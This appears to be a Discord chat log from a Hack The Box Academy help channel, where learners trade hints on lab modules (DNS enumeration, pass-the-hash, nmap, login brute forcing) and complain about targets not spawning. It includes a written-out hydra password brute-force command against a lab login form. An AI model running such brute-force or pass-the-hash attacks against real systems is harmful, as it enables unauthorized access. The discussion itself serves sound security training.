Hi, I have been stuck on the dns footprint module for about two weeks. Was able to successfully complete the zone transfer sections but the first and last questions I have not been able to complete. Specifically, "Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain". I have tried various options, such as using dig tool to obtain the PTR of the ip address but it does not have one. The SOA sections have several FQDNs but these do not result in the discovery of the inlanefreight.htb domain! It is unclear to me what the question is actually asking! The last question, "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" It seems like it has something to do with the previous zone transfer question I completed but I just not sure how to proceed. I downloaded the resources given (the wordlist) and ran it against the inlanefreight.htb domain using the dnsenum tool. Using the same tooI I added the subdomains internal and when that did not work I removed internal and added dev instead. Correctly if I am wrong but I need the zone transfer to occur first, then I enumerate the inlanefreight.htb domain? Or can this FQDN be found without zone transfer? I would just like a hint or suggestions on additional resources I can try in order that I can complete this problem. Thanks for your assistance 🙂

[supple siren]

hey, anyone done the ldap module, have a qq?

[tawny zealot]

Hey, could you please tell me how you got the cleartext password for ms-----c? I also got both hashes, but hashcat is exhausted when I try it with rockyou.txt?

[sonic epoch]

Hi guys, has anyone made the sql injection fundamentals module?

I have a question can someone help me?

[pine dagger]

Could you give me a hint on the first question? I'm struggling to find the correct syntax. 🙂

[abstract agate]

"Module: Pivoting, Tunneling and Port Forwarding
Section: RDP and SOCKS Tunneling with SocksOverRDP"
Has anyone had this error?

[rustic sage]

Can anyone help me in nmap module on section "Service Enumeration" i scan all ports and services but it doesn't show me the flag in any service

[eager hatch]

Just ask your question 🙂

[eager hatch]

What command are you using?

[heady tusk]

well do you need the cleartext password?

[tawny zealot]

I tried to pass the hash to the MS01 and SQL01 machine with evil-winrm & crackmapexec (just to test it) and both failed (for both the Administrator hash und the ms----- hash, so I figured that either I am doing that completely wrong or that the password is in fact needed to proceed

[heady tusk]

PtH doesn't work without an extra step beforehand

[heady tusk]

feel free to dm me. I can take a look at what you've been trying and offer some explanations

[rustic sage]

nmap -p- -sV target ip

[heady tusk]

that won't find the flag. sometimes, nmap just doesn't find everything 🤷

[rustic sage]

Then how to give the answer

[narrow solar]

good day friends 🙂 can you help me with this please

https://discordapp.com/channels/473760315293696010/1115961194562461706/1115961194562461706

[rustic sage]

Enumerate all ports and their services. One of the services contains the flag you have to submit as the answer

This is the question

[heady tusk]

go through the section again, there is more being taught than just nmap 😉

[rustic sage]

Did you mean to use the tcpdump

[heady tusk]

check what tcpdump is used for and you'll be able to answer that question yourself

[eager hatch]

That's good. nmap will tell you where you could look with another utility mentioned in the section as @heady tusk said!

[narrow solar]

oh it worked 😅

[heady tusk]

setup looks good. I'm not really sure why the ping is failing. What might be happening with access the website though: If you already have firefox open prior to starting it through proxychains, it won't work

[heady tusk]

great 🙂

[narrow solar]

i had to turn firefox off

but still the ping should work

[heady tusk]

it might drop ICMP. would be my best guess

[narrow solar]

yes i guess so, thank you anyway 😊

[heady tusk]

sure thing 🙂

[analog dock]

Target spawning seems to be extremely slow

[limber river]

I am facing problem on spawning my target ?

[eager hatch]

Everything is slow!

[heady tusk]

yeah the issue has been confirmed by multiple people. I've messaged support already

Anyone knows if other HTB platforms are facing similar issues?

[limber river]

I taught the problem is from my network

[limber river]

it's not working at all

[rustic sage]

👀

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1489 AD enumeration & attacks - DCSync, i cannot connect to 172.16.5.225 with the credentials that they provide

someone got it?

[limber river]

maybe there's a problem in academy (:

[zinc marsh]

also trying to spawn the target now and it is not working

[eager hatch]

I managed to spawn a machine on the htb platform so it might be restricted to academy

[limber river]

pain

[heady tusk]

which VPNs are y'all on?

[limber river]

I don't need vpn on my target

[heady tusk]

alright. support is aware

[eager hatch]

Though actually connecting to the machine isn't working well...

[rustic sage]

Which wordlist should i use for cracking the unshadowed hashes? https://academy.hackthebox.com/module/147/section/1319 I tried rockyou.txt and the password.list.

[round gale]

the starting point machines are very slow , unable to load the webpage for machine "base"

[zenith mango]

Having the same issue. Been trying to spawn a machine for about an hour.

[zinc marsh]

try smarter

[limber river]

you can spawn the machines ???

[rustic sage]

yeah

[rustic sage]

i tried 🙂

[zinc marsh]

not enough then

check what u learnt through the module

[rustic sage]

password mutations? maybe

[silent scarab]

hello! im currently on attacking common applications: exploiting web vulnerabilities in thick client applications. I can't seem to get the user 'qtc' to log into the fatty-client-new.jar file 😦 I've followed each step correctly, and i think its because i'm putting the wrong ip into my /etc/hosts file to translate the subdomain server.fatty.htb to. but i do not know what IP i should be putting into the file (the module doesn't explain what IP 10.10.10.174 is...). could anyone help me out?

[cobalt bone]

yep, seems to be an issue which I've raised with support. Do we get reimbursed somehow for downtime since we're paying customers? not sure on the policy..

[zenith mango]

fatty is a retired machine, you may want to move this over to the appropriate channel

[limber river]

idk but it could be good to get some cubes , so I can get some advanced modules

[silent scarab]

im on hackthebox academy, attacking common applications exploting web vulnerabilities in thick-client applications, not the main platform haha

[cobalt bone]

agreed, I'll ask the question to support 😆

[round gale]

yeah , i tried again , still facing the same issue. any ideas on how to solve this?

[heady tusk]

Support is aware of the issue and will fix it. nothing we can do but wait

[cobalt bone]

while we wait.. has anyone completed the second question on the first skills assessment for the 'Login Brute Forcing' module? I'm pretty sure I've got the right command but it times out after about 10mins? or am I completely off?

Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

||hydra -l admin -P /usr/share/wordlists/rockyou.txt -f <host_ip> -s <host_port> http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=<form name='log-in'"||

[limber river]

why admin use what you find in the previous question ?

[rustic sage]

anyone having problem with target spawn?

seems like it doesn't spawn for me

[limber river]

all of us lol

[rustic sage]

i see

lol

[naive wadi]

okay so not just me

[limber river]

I wanna cry (:

[cobalt bone]

in the hint it said reuse the username you found earlier. I've tried a few though (admin, b.gates, m.gates)

[limber river]

finally it works

[naive wadi]

yeah just spawned for me too

[limber river]

they main the previous question

[analog dock]

Target spawned but now I can’t spawn an instance 😂

“There are no available instances. Please try again later.”

[limber river]

https://tenor.com/view/deep-sigh-albert-wesker-lance-reddick-resident-evil-inhale-exhale-gif-26399289

[analog dock]

Brb gonna cry in a corner

[cobalt bone]

https://tenor.com/view/bye-im-off-to-hogwarts-harry-potter-daniel-radcliffe-bye-im-going-to-hogwarts-gif-18299465

[limber river]

did you find it or what ?

[cobalt bone]

yeah man thanks, clearly didn't read the question If you remembered the creds you would have got my GIF 😆

[limber river]

I just finished two days ago , the service assessment it's very close to you GIF

[tranquil quail]

hey guys does anyone know how to hack here?

[low girder]

Hello everyone.
We know that the academy targets are not spawning and the pwnbox is.
Our team is working on the fix. Please don't open any support ticket regarding the same.

I'll let you know when the issue is resolved.

[tranquil quail]

cuz i have my target

[low girder]

@tranquil quail We do not promote anything illegal. Please read the #rules

[tranquil quail]

dude then what is this server for then?

[analog dock]

Finally

[limber river]

it's working now

[analog dock]

Pwnbox and target spawned